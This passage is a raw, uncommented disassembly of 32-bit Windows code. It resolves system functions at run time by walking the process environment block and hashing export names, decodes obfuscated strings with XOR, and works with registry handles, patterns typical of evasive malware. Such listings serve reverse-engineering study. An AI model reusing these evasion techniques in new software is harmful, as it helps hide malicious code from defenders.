mov eax, edx
cmp ecx, 0x1000
jb 0x440732
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x440b18
push ecx
push edx
call fcn.004431bb
add esp, 8
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xe4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xf0], ecx
cmp ecx, esi
je 0x4407ca
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4407ca
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xf4], ecx
dec edi
mov esi, 0x800ec578
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4407bd
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4407a0
cmp esi, 0xd9d964ab
je 0x4407ce
mov ecx, dword [ebp - 0xf4]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x440780
mov eax, dword [eax]
jmp 0x440750
mov esi, dword [ebp - 0xf0]
mov edx, dword [ebp - 0xe4]
push 0x7d0
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0xe4], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0xf0], ecx
cmp ecx, edx
je 0x44087a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x44087a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, edx
nop dword [eax]
sub ecx, 4
dec edi
mov dword [ebp - 0xf4], ecx
mov esi, 0xbe1ffa38
mov ecx, dword [ecx]
add ecx, edx
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x44086d
nop word [eax + eax]
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x440850
cmp esi, 0xfb70c088
je 0x44087e
mov ecx, dword [ebp - 0xf4]
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x440830
mov eax, dword [eax]
jmp 0x440802
mov esi, dword [ebp - 0xf0]
mov edx, dword [ebp - 0xe4]
push 1
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov ecx, dword [ebp - 0x24]
add esp, 4
cmp ecx, 0xf
jbe 0x4408da
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4408d0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x440b18
push ecx
push edx
call fcn.004431bb
add esp, 8
mov ecx, dword [ebp - 0xbc]
cmp ecx, 0xf
jbe 0x440914
mov edx, dword [ebp - 0xd0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44090a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x440b18
push ecx
push edx
call fcn.004431bb
add esp, 8
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0xf
mov byte [ebp - 0xd0], 0
mov ecx, dword [ebp - 0xa4]
cmp ecx, 0xf
jbe 0x440969
mov edx, dword [ebp - 0xb8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44095f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x440b18
push ecx
push edx
call fcn.004431bb
add esp, 8
xor al, al
jmp 0x440ebf
cmp dword [ebp - 0x24], 0xf
lea eax, [ebp - 0x38]
push ecx
cmova eax, dword [ebp - 0x38]
lea ecx, [ebp - 0xd0]
push eax
call fcn.0041f4e0
push 0x506c18
lea eax, [ebp - 0x38]
mov byte [ebp - 0xe5], 0
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.00403840
mov byte [ebp - 4], 0xd
lea edx, [ebp - 0x58]
cmp dword [ebp - 0x44], 0xf
push 0
cmova edx, dword [ebp - 0x58]
mov dword [ebp - 0xe0], 0x4ac631e8
mov dword [ebp - 0xdc], 0x679520b1
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0xe0], 0x98beb99e
mov dword [ebp - 0xdc], 0xaf16a950
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], ecx
mov dword [ebp - 0xe0], 0x2bb66e85
mov dword [ebp - 0xdc], 0x679510d5
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0xe0], 0x98beb99e
mov dword [ebp - 0xdc], 0xaf16a950
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
movaps xmm1, xmmword [ebp - 0x110]
mov dword [ebp - 0x128], eax
lea eax, [ebp - 0x110]
push edx
mov dword [ebp - 0x124], ecx
xorps xmm1, xmmword [ebp - 0x130]
push eax
push esi
movaps xmmword [ebp - 0x110], xmm1
call fcn.00442980
add esp, 0x10
mov dword [0x506c28], 0
cmp dword [0x506c2c], 0xf
mov eax, 0x506c18
cmova eax, dword [0x506c18]
mov byte [ebp - 4], 0xa
mov byte [eax], 0
mov ecx, dword [ebp - 0x44]
cmp ecx, 0xf
jbe 0x440adc
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x440ad2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x440b18
push ecx
push edx
call fcn.004431bb
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
cmp ecx, 0xf
jbe 0x440b28
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x440b1e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x440b1e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004431bb
add esp, 8
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0xf
mov byte [ebp - 0x38], 0
cmp edi, 0x506bc8
je 0x440b59
cmp dword [edi + 0x14], 0xf
mov eax, dword [edi + 0x10]
jbe 0x440b4d
mov edi, dword [edi]
push eax
push edi
mov ecx, 0x506bc8
call fcn.0041f4e0
cmp dword [0x506bdc], 0xf
mov eax, 0x506bc8
push dword [0x506bd8]
cmova eax, dword [0x506bc8]
mov ecx, 0x506be0
push eax
call fcn.0041f4e0
mov dword [ebp - 0xe0], 0x2bc502e6
mov dword [ebp - 0xdc], 0x679510d5
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0xe0], 0x98beb99e
mov dword [ebp - 0xdc], 0xaf16a950
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], ecx
mov dword [ebp - 0xe0], 0x2bb66e85
mov dword [ebp - 0xdc], 0x679510d5
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0xe0], 0x98beb99e
mov dword [ebp - 0xdc], 0xaf16a950
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x128], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x124], ecx
movaps xmm1, xmmword [ebp - 0x130]
xorps xmm1, xmmword [ebp - 0x110]
movaps xmmword [ebp - 0x110], xmm1
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xfc], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xe4], ecx
cmp ecx, esi
je 0x440cca
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x440cca
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xf0], ecx
dec edi
mov esi, 0xf4feeb58
mov cl, byte [edx]
inc edx
test cl, cl
je 0x440cbd
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x440ca0
cmp esi, 0xad48a159
je 0x440cce
mov ecx, dword [ebp - 0xf0]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x440c80
mov eax, dword [eax]
jmp 0x440c50
mov esi, dword [ebp - 0xe4]
mov edx, dword [ebp - 0xfc]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x110]
add eax, edx
push ecx
call eax
add esp, 4
cmp byte [ebp - 0xe5], 0
je 0x440de0
push 0x506c18
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.00403840
mov esi, eax
lea eax, [ebp - 0xd0]
cmp eax, esi
je 0x440daa
mov ecx, dword [ebp - 0xbc]
cmp ecx, 0xf
jbe 0x440d67
mov edx, dword [ebp - 0xd0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x440d5d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x440dd0
push ecx
push edx
call fcn.004431bb
add esp, 8
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0xf
mov byte [ebp - 0xd0], 0
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0xd0], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0xc0], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov ecx, dword [ebp - 0x44]
cmp ecx, 0xf
jbe 0x440de0
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x440dd6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x440dd6
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004431bb
add esp, 8
cmp dword [0x506c2c], 0xf
lea ecx, [ebp - 0xd0]
mov eax, 0x506c18
mov dword [0x506c28], 0
cmova eax, dword [0x506c18]
mov byte [eax], 0
call fcn.0043a2c0
mov esi, dword [ebp - 0xf8]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esi]
test eax, eax
je 0x440e20
push eax
call edi
push 0xc
push esi
call fcn.004431bb
mov esi, dword [ebp - 0xf4]
add esp, 8
mov eax, dword [esi]
test eax, eax
je 0x440e3a
push eax
call edi
push 0xc
push esi
call fcn.004431bb
mov ecx, dword [ebp - 0xbc]
add esp, 8
cmp ecx, 0xf
jbe 0x440e81
mov edx, dword [ebp - 0xd0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x440e77
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x440e77
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004431bb
add esp, 8
mov ecx, dword [ebp - 0xa4]
cmp ecx, 0xf
jbe 0x440ebd
mov edx, dword [ebp - 0xb8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x440eb3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x440eb3
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004431bb
add esp, 8
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0044317d
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret